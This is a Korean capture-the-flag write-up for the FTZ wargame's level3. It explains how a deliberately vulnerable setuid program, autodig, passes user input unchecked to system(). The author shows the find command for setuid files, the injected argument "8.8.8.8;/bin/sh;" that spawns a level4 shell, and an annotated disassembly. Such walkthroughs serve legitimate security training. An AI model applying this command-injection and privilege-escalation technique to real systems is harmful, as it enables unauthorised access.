[level3@ftz level3]$ cat hint
다음 코드는 autodig의 소스이다.
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv){ char cmd[100]; if( argc!=2 ){ printf( "Auto Digger Version 0.9\n" ); printf( "Usage : %s host\n", argv[0] ); exit(0); } strcpy( cmd, "dig @" ); strcat( cmd, argv[1] ); strcat( cmd, " version.bind chaos txt"); system( cmd ); }
이를 이용하여 level4의 권한을 얻어라.
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
이번 문제는 DNS서버로부터 정보를 가져올수 있는 툴 dig를 이용해 문제를 풀어야 한다
그리고 힌트를 두 개 제시한다
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
동시에 여러 명령어를 사용하기 위한 것은 파이프( | ), 세미콜론( ; ) 이 있다
그리고 문자열 형태로 명령어를 전달하는 것이라는 힌트는 아마도 더블 쿼티( “ “ )일거라 생각된다
나는 개인적으로 혼란이 왔다 매번 느끼지만 멘붕이다 이거 가지고 뭘 하란건지
일단 하던대로 find부터 했다
[level3@ftz level3]$ find / -user level4 -perm +4000 2>/dev/null
/bin/autodig
[level3@ftz level3]$ ls -l /bin/autodig
-rwsr-x--- 1 level4 level3 12194 9월 10 2011 /bin/autodig
파일이 나왔다 이 파일의 소스를 분석해보자
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){ // 인자가 2개가 아니면 다음을 실행하고 종료
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt"); “dig @ argv[1] version.bind chaos txt”
system( cmd ); cmd배열의 값을 실행
}
잘은 모르겠지만 dig명령어를 문구를 붙여서 실행하는 프로그램 같다
일단 dig를 사용해야 하며 쉘을 띄워야 하고 음..그래서 더블 쿼티와 세미콜론을 사용해 봤다
[level3@ftz level3]$ /bin/autodig "8.8.8.8;/bin/sh"
; <<>> DiG 9.2.1 <<>> @8.8.8.8
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18914
;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;. IN NS
;; ANSWER SECTION:
. 16975 IN NS a.root-servers.net.
. 16975 IN NS b.root-servers.net.
. 16975 IN NS c.root-servers.net.
. 16975 IN NS d.root-servers.net.
. 16975 IN NS e.root-servers.net.
. 16975 IN NS f.root-servers.net.
. 16975 IN NS g.root-servers.net.
. 16975 IN NS h.root-servers.net.
. 16975 IN NS i.root-servers.net.
. 16975 IN NS j.root-servers.net.
. 16975 IN NS k.root-servers.net.
. 16975 IN NS l.root-servers.net.
. 16975 IN NS m.root-servers.net.
;; Query time: 49 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Sat Nov 8 19:08:32 2014
;; MSG SIZE rcvd: 228
version.bind: version.bind: 그런 파일이나 디렉토리가 없음
다음과 같이 뜬다
뭐가 문제일까
나중에 결과를 검색해서 본거지만 명령어 마지막에 더블쿼티틀 닫기 전에 세미콜론을 한번 더 넣어야 한다는걸 알았다
물론 이 방법 말고도 많은 방법이 있다
다음과 같이 실행했다
[level3@ftz level3]$ /bin/autodig "8.8.8.8;/bin/sh;"
; <<>> DiG 9.2.1 <<>> @8.8.8.8
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31636
;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;. IN NS
;; ANSWER SECTION:
. 16761 IN NS f.root-servers.net.
. 16761 IN NS k.root-servers.net.
. 16761 IN NS b.root-servers.net.
. 16761 IN NS j.root-servers.net.
. 16761 IN NS l.root-servers.net.
. 16761 IN NS h.root-servers.net.
. 16761 IN NS m.root-servers.net.
. 16761 IN NS g.root-servers.net.
. 16761 IN NS c.root-servers.net.
. 16761 IN NS a.root-servers.net.
. 16761 IN NS i.root-servers.net.
. 16761 IN NS e.root-servers.net.
. 16761 IN NS d.root-servers.net.
;; Query time: 58 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Sat Nov 8 19:12:04 2014
;; MSG SIZE rcvd: 228
sh-2.05b$
쉘이 떴다 id를 입력해봤다
sh-2.05b$ id
uid=3004(level4) gid=3003(level3) groups=3003(level3)
권한이 상승됐다
이로써 level4를 클리어했다
다음은 /bin/autodig를 디버깅한 것이다
0x08048430 <main+0>: push ebp
0x08048431 <main+1>: mov ebp,esp
0x08048433 <main+3>: sub esp,0x78 //스택 프레임 120바이트 할당
--------------------------------------------------------------------------------------------------------------
0x08048436 <main+6>: and esp,0xfffffff0
0x08048439 <main+9>: mov eax,0x0
0x0804843e <main+14>: sub esp,eax
0x08048440 <main+16>: cmp DWORD PTR [ebp+8],0x2 //인자가 2개가 아닐시
0x08048444 <main+20>: je 0x8048475 <main+69> "Auto Digger Version 0.9\n"
0x08048446 <main+22>: sub esp,0xc "Usage : %s host\n"
0x08048449 <main+25>: push 0x8048588 를 출력하고 exit함수 실행 후 종료
0x0804844e <main+30>: call 0x8048340 <printf>
0x08048453 <main+35>: add esp,0x10
0x08048456 <main+38>: sub esp,0x8
0x08048459 <main+41>: mov eax,DWORD PTR [ebp+12]
0x0804845c <main+44>: push DWORD PTR [eax]
0x0804845e <main+46>: push 0x80485a1
0x08048463 <main+51>: call 0x8048340 <printf>
0x08048468 <main+56>: add esp,0x10
0x0804846b <main+59>: sub esp,0xc
0x0804846e <main+62>: push 0x0
0x08048470 <main+64>: call 0x8048360 <exit>
0x08048475 <main+69>: sub esp,0x8
--------------------------------------------------------------------------------------------------------------
0x08048478 <main+72>: push 0x80485b2
0x0804847d <main+77>: lea eax,[ebp-120]
0x08048480 <main+80>: push eax
0x08048481 <main+81>: call 0x8048370 <strcpy>
0x08048486 <main+86>: add esp,0x10
0x08048489 <main+89>: sub esp,0x8
0x0804848c <main+92>: mov eax,DWORD PTR [ebp+12] dig @ argv[1] version.bind chaos txt
0x0804848f <main+95>: add eax,0x4 를 실행
0x08048492 <main+98>: push DWORD PTR [eax]
0x08048494 <main+100>: lea eax,[ebp-120]
0x08048497 <main+103>: push eax
0x08048498 <main+104>: call 0x8048330 <strcat>
0x0804849d <main+109>: add esp,0x10
0x080484a0 <main+112>: sub esp,0x8
0x080484a3 <main+115>: push 0x80485b8
0x080484a8 <main+120>: lea eax,[ebp-120]
0x080484ab <main+123>: push eax
0x080484ac <main+124>: call 0x8048330 <strcat>
0x080484b1 <main+129>: add esp,0x10
0x080484b4 <main+132>: sub esp,0x8
--------------------------------------------------------------------------------------------------------------
0x080484b7 <main+135>: push 0xbbc
0x080484bc <main+140>: push 0xbbc
0x080484c1 <main+145>: call 0x8048350 <setreuid> //setreuid(3004,3004) 실행
0x080484c6 <main+150>: add esp,0x10
0x080484c9 <main+153>: sub esp,0xc
--------------------------------------------------------------------------------------------------------------
0x080484cc <main+156>: lea eax,[ebp-120]
0x080484cf <main+159>: push eax
0x080484d0 <main+160>: call 0x8048310 <system> system(cmd) 실행
---Type <return> to continue, or q <return> to quit---
0x080484d5 <main+165>: add esp,0x10
0x080484d8 <main+168>: leave
0x080484d9 <main+169>: ret
0x080484da <main+170>: nop
0x080484db <main+171>: nop
Phantom@TeamH4C